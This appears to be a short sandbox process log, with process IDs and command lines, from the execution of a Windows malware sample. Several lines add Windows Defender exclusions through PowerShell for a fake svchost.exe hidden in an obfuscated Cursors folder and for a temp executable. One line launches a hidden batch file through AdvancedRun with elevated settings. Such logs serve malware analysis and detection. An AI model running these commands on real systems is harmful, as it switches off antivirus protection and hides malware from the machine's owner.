powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\㒀㒁㑤㑿㒀㒁㒂㑾㑿㒁㑧㑓㒕㒂㑔\svchost.exe" -Force
2236powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\102.exe" -Force
804powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\㒀㒁㑤㑿㒀㒁㒂㑾㑿㒁㑧㑓㒕㒂㑔\svchost.exe" -Force
2856AdvancedRun.exe "C:\Users\test22\AppData\Local\Temp\49f01170-868e-4fa0-b0e0-7477ab9be03f\AdvancedRun.exe" /EXEFilename "C:\Users\test22\AppData\Local\Temp\49f01170-868e-4fa0-b0e0-7477ab9be03f\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
2720powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\102.exe" -Force
2056